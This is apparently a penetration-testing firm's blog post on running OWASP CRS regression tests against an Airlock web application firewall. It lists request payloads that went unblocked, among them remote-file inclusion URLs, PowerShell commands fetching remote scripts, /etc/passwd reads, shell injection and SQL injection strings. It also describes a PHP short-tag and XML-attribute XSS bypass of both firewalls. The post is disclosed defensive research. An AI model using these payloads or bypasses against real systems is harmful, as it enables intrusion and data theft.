An excursion into Airlock WAF ruleset testing
Recently we've been tasked to do an analysis of a web application firewall (WAF) of the vendor Ergon, namely the Airlock WAF regarding the effectivness of filtering. One idea was to see what happens when OWASP Core Rule Set (CRS) tests are run against it. This is the story of how we approached this, which payloads went through and how impossible it is to tell if that's good or bad now.
WAFs are a controversial topic. The reason is simply that there is no technical proof that either is universally helpful or harmful, as their effectiveness largely depends on a lot of things. We don't think you need a WAF in general, and we also don't think you need to get rid of your WAF if you have a use case. For all of you who are expecting us to provide the ultimate answer [1] in this blog post: You can stop reading here. For everyone interested in learning some technical details about two WAF-related projects from real-world installations, please enjoy.
About WAFs and Airlock
Ergon's Airlock WAF is one of the better-known WAFs in Switzerland. One reason for this is that it is often recommended, bundled or sold with financial software, such as core banking systems. Some banks nevertheless use something else, while others stick with Airlock. Like any other WAF, Airlock mitigates risks according to their website.
Like a standard firewall, a WAF has a set of rules that define wether something is blocked or allowed through. However, that's already where the similarity stops. Best practices for regular firewalls require you to create an allow-list of traffic you want to pass and deny everything else. By contrast, most WAFs use block-lists and allow everything else. Everybody in our industry knows block-lists are a recipe for security issues and that's why a WAF will never be perfect, but best effort. So as a matter of fact, WAF bypasses are a common thing.
While every vendor and company using a WAF has their own rule set to fit their purpose, a key distinction exists: some who use a modified version of the OWASP ModSecurity Core Rule Set (CRS), while others don't use CRS at all. According to the CRS project, a lot of big cloud vendors are using CRS in their WAF. However, Airlock is one of the vendors that doesn't use CRS.
Additionally, most WAFs allow to decide dynamically whether to use more or less strict rules for a certain category of attacks. CRS uses the term "Paranoia Level" (1 to 4), whereas Airlock calls it "Security Level" or "Blocking Level" (basic, standard and strict). As some might already have noticed, we'll sometimes refer to CRS as a WAF in this post, implying a compatible WAF engine like ModSecurity is using CRS.
Approach
We've been tasked with analyzing an Airlock WAF and while we looked at various things, as a novel approach, we also decided to try to run comparison tests for Airlock against some of the CRS rules. As there seemed no one who did this before and wrote about it on the Internet, we tried our luck.
Although there is a public list of rule names, you need access to an Airlock WAF in order to see the actual Airlock rules (the regexes). Whereas CRS is an open-source project and you have full access to review it. This is very helpful for a pentester who is up against a CRS-based WAF, as you can even look up all currently unfixed evasions on GitHub.
The Airlock WAF we were facing had the following rules and blocking levels set:
Standard: SQL Injection (SQLi) in Parameter Value
Standard: SOL Injection (SQLi) in Header Value
Standard: Cross-Site Scripting (XSS) in Parameter Value
Standard: Cross-Site Scripting (XSS) in Header Value
Standard: Cross-Site Scripting (XSS) in Path
Standard: Template and Expression Language Injection
Strict: HTML Injection in Parameter Value
Strict: HTML Injection in Header Value
Strict: HTML Injection in Path
Standard: UNIX Command Injection in Parameter Value
Standard: UNIX Command Injection in Header Value
Standard: Windows Command Injection in Parameter Value
Standard: Windows Command injection in Header Value
Standard: LDAP Injection in Parameter Value
Standard: LDAP Injection in Header Value
Standard: PHP Injection in Parameter Value
Standard: PHP Injection in Header Value
Standard: Object Graph Navigation Library (OGNL) injection (Apache Struts)
Standard: Insecure Direct Object Reference in Parameter Value
Standard: Insecure Direct Object Reference in Path
Standard: NoSOL Injection in Parameter Name
Standard: NoSOL Injection in Parameter Value
Standard: NoSQL Injection in Header Value
Strict: Parameter Name Sanity
Standard: Parameter Value Sanity
Strict: Header Name Sanity
Standard: Header Value Sanity
Strict: Path Sanity
Strict: Encoding and Conversion Exploits in Parameter Value
Strict: Encoding and Conversion Exploits in Header Value
Strict: HTTP Response Splitting
Strict: HTTP Parameter Pollution
Standard: Miscellanous Exploits
Strict: Automated Scanning
Note that none of the rules are on the level "basic", so either the "standard" setting is used or even the highest protection level "strict".
CRS regression test run against Airlock
The most interesting part for us was that the CRS project provides a full regression test set, which contains tests that trigger a rule in different ways. With some modifications, such as changing the target host, we were able to run these tests against the Airlock WAF. Although this approach seemed straightforward, we underestimated the amount of manual work required to determine whether a failed test result for CRS was really "an issue" for the Airlock WAF. That's why we didn't completely review the entire regression corpus. However, we still learned a lot of interesting facts about both WAFs, as you'll see.
In the end, the effectiveness of a WAF depends a lot on its configuration (there are many features we don't even mention here) and on the type of application it is protecting. So even before starting, we knew the results wouldn't show a generally applicable picture.
After tweaking the configuration of go-ftw (a framework for testing WAFs), and trying to run it against Airlock, it became obvious that this was going to involve a lot of manual work to figure out which things were really a problem on the Airlock side. Some of the reasons are:
As we had to overwrite the destination (IP address and TCP port) as well as the HTTP Host header of tests to route our request correctly to the Airlock WAF, we already destroyed some of the CRS regression tests that injected into the HTTP Host header.
There is no throttle mechanism in go-ftw and Airlock was configured to block an IP for a certain time if a threshold of blocked requests per minute was detected. Therefore, we split the test into smaller batches and waited for a while between each batch. When just a few of the test requests were blocked, the batches went through nicely, but for tests that resulted in many blocked requests, we had to rerun them. Fortunately for us, in this particular configuration, it was easy to detect in the HTTP responses when the Airlock WAF blocked our IP address.
Airlock has an allow-list regex of all HTTP header names that are forwarded to applications. If you inject into any HTTP header that is not on the allow-list, the request will never be blocked. Some of the CRS tests injected into custom HTTP headers and therefore never triggered any rule.
Airlock also has an allow-list regex of HTTP cookie names where the same issue applies.
While CRS checks for certain patterns generically in all parameters, Airlock seems to check for certain things only when these parameters are defined to have that kind of content. For example, XML External Entity (XXE) attacks are not blocked generically in a parameter in Airlock.
Some CRS tests check for false positives (meaning CRS should not block them), but we were not interested in those, as we wanted to see what we could potentially smuggle past the Airlock WAF that CRS blocks.
CRS regression test run results
Here's a list of CRS test results that were passed through and were not blocked by the Airlock WAF under test (mid 2024), but would be blocked at some of the paranoia levels of the CRS. As said earlier, this list is incomplete as we didn't look at all the results of the CRS regression tests manually. The titles are the category titles by CRS.
REQUEST-913-SCANNER-DETECTION
REQUEST-920-PROTOCOL-ENFORCEMENT
REQUEST-921-PROTOCOL-ATTACK
POST / HTTP/1.1 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Content-Type: application/x-www-form-urlencoded Host: www.example.org Range: bytes=0-,5-0,5-1,5-2,5-3,5-4,5-5,5-6,5-7,5-8,5-9,5-10,5-11,5-12,5-13,5-14,5-15 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36 Content-Length: 86 foo=(%26(objectCategory=computer)%20(userAccountControl:1.2.840.113556.1.4.803:=8192))
REQUEST-930-APPLICATION-ATTACK-LFI
REQUEST-931-APPLICATION-ATTACK-RFI
GET /?src=http://66.240.183.75/crash.php HTTP/1.1 GET /components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=https://foo.bar HTTP/1.1 GET /?x=https://example.com/ HTTP/1.1 GET /?x=url:file://foo.bar HTTP/1.1 GET /file:%2f%2f/usr/src/blog/app/assets/javascripts/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd HTTP/1.1
REQUEST-932-APPLICATION-ATTACK-RCE
GET /get?932120-1=Invoke-WebRequest%20http://example.com/path/file.ps1 HTTP/1.1 GET /get?a=Invoke-Expression%20-Command%20file.ps1 GET /get?cmd=%3Biwr%20http://example.com/path/file.ps1 HTTP/1.1 GET /?cmd=cat%20/etc/pa%5Bs%5Dswd HTTP/1.1 GET /?cmd=x<cat+/etc/pa%5Bs%5Dswd HTTP/1.1 GET /?cmd=;cat+/etc/pas[s]wd HTTP/1.1 GET /?s=;/usr/bin/%5Bu%5Dname+-a HTTP/1.1 GET /?foo=for%20%2fr%20c%3a%5c%20%25variable%20in%20%28set%29%20do%20command HTTP/1.1 GET /?foo=FOR+%2FF+%22options%22+%25a+IN+%28%22text%22%29+DO+abc HTTP/1.1 GET /?foo=%26+FOR+%2FF+%22tokens%3D1-3%22+%25%25A+IN+++%28%22jejeje+brbr%22%29+DO+%40echo+pwnd HTTP/1.1 GET /?foo=FOR+%25%25G+IN+%28a%2Cb%2Cc%2Cd%2Ce%2Cf%2Cg%2Ch%2Ci%2Cj%2Ck%2Cl%2Cm%2Cn%2Co%2Cp%2Cq%2Cr%2Cs%2Ct%2Cu%2Cv%2Cw%2Cx%2Cy%2Cz%29+DO+%28md+C%3A%5Cdemo%5C%25%25G%29 HTTP/1.1 GET /?x=%2Fusr%2Fbin%2Fperl+-e+%27print+readline%27+some-file.txt HTTP/1.1 GET /?x=)};%24SHELL%20-c%20%22echo%20hi%22 HTTP/1.1
REQUEST-933-APPLICATION-ATTACK-PHP
File content:
REQUEST-934-APPLICATION-ATTACK-GENERIC
REQUEST-942-APPLICATION-ATTACK-SQLI
GET /?a=b,1=1 HTTP/1.1 GET /?a=a=42%20like%2042 HTTP/1.1 GET /?a=1%20is%20not%202 HTTP/1.1 GET /?a=%271%27+not+regexp+%272%27 HTTP/1.1 GET /?var=,+FIND_IN_SET('22',+Category+) HTTP/1.1 GET /?var==1'+%2b+1+is+likelihood(0.0,0.0)+is+1-- HTTP/1.1 GET /?var==1'+%2b+starts_with(password,'a')::int HTTP/1.1 GET /?id=...(json_build_object(1,password)::jsonb)::int HTTP/1.1 GET /?var=SELECT%20x%20GROUP%20BY%20SOMETHING%20HAVING%20COUNT%28Id%29%20%3E%3D%209 HTTP/1.1 GET /?var=;INSERT+INTO+table+(col)+VALUES+1,2,3 HTTP/1.1
REQUEST-944-APPLICATION-ATTACK-JAVA
Bypassing both WAFs
There was one more thing we wanted to do. We wanted to find something that bypasses both WAFs.
PHP
After looking at the PHP regex of rules for CRS, we came up with the following valid PHP payload:
This is valid PHP code with the short PHP start tag (<?) that executes a shell command, but bypasses the filter rules for both WAFs. PHP will interprete the "xml :" part as a label (e.g. used for goto).
OWASP CRS checked for the short PHP start tag (<?) but excluded <?xml generically, which allowed the bypass. However, for CRS other rules such as Cross-Site Scripting prevention rules also triggered (multi-layer approach), meaning depending on the filter settings the payload could still be detected in some cases. After reporting the PHP filter bypass to OWASP CRS it was fixed.
Although Airlock also has a rule to detect PHP short start tag payloads, for Airlock this payload resulted in a bypass.
XML
To find a second bypass we simply used a payload from one of our old advisories that hides the Cross-side Scripting payload in an XML attribute :
POST /ebics-server/ebics.aspx HTTP/1.1 Content-Type: text/xml; charset=UTF-8 Host: www.example.org Content-Length: 585 Connection: close <?xml version="1.0" encoding="utf-8" standalone="no"?> <ebicsUnsecuredRequest xmlns="urn:org:ebics:H004" Revision="1" Version="<a autofocus onfocus=print(1) href></a>;"> <header authenticate="true"> <static> <HostID>AAA</HostID> <PartnerID>AAA</PartnerID> <UserID>AAA</UserID> <Product InstituteID="AAA" Language="de">AAA</Product> <OrderDetails> <OrderType>AAA</OrderType> <OrderAttribute>AAA</OrderAttribute> </OrderDetails> <SecurityMedium>0000</SecurityMedium> </static> <mutable/> </header> <body> <DataTransfer> <OrderData>AAA</OrderData> </DataTransfer> </body> </ebicsUnsecuredRequest>
While Airlock doesn't check file contents in-depth in general, it is still an open issue for CRS.
Summary
The above results show what went through the Airlock WAF. But after looking at the above results, everyone can agree that it's not easy to tell what that means exactly and what is the right thing to do. Should Airlock block more? Are those useful attack strings? We decided that we do not want to pick apart all of the payloads and argue about them. We provide them for you as-is, so you can draw your own conclusions.
After talking to Ergon, they opened internal tickets and said they are going to look at certain things from the above list. We agree that certain payloads are not yet full attacks, for other payloads we were expecting Airlock to block more.
For CRS, one of the two mentioned issues is fixed; the other is still open.
We have seen that Airlock did not block certain tests from CRS. Overall, it gave the impression of resulting in fewer false positives, as it seems to rather allow than block legitimate users. On the other hand, if you are looking for Server Side Request Forgery (SSRF) protection by default in URLs (URLs in URLs), you have to actively configure that when using Airlock. The impression of more false positives with CRS is probably in the nature of the project and again: whoever uses CRS must modify it to fit their needs. For example, if you use CRS and have users in Germany, users with first name Axel could get pretty upset.
Depending on your preference, you can tweak your WAF to reduce either false positives or false negatives. Some people prefer a WAF without false negatives because otherwise it can be bypassed. Other people will prefer fewer false positives because they are afraid to block legitimate cases or do not want to invest the time to configure every use case. When trying to argue in either direction, we seem to run in circles.
Are you upset about any of our statements above? See, we told you it's a controversial topic to talk about.
Thanks
We would like to thank our customer who was open to let us look at the WAF in a whitebox approach and who agreed to do a publication of the results. Thanks goes out to the OWASP CRS team who responded to all our questions on Slack. Thanks also to Ergon for the call and feedback.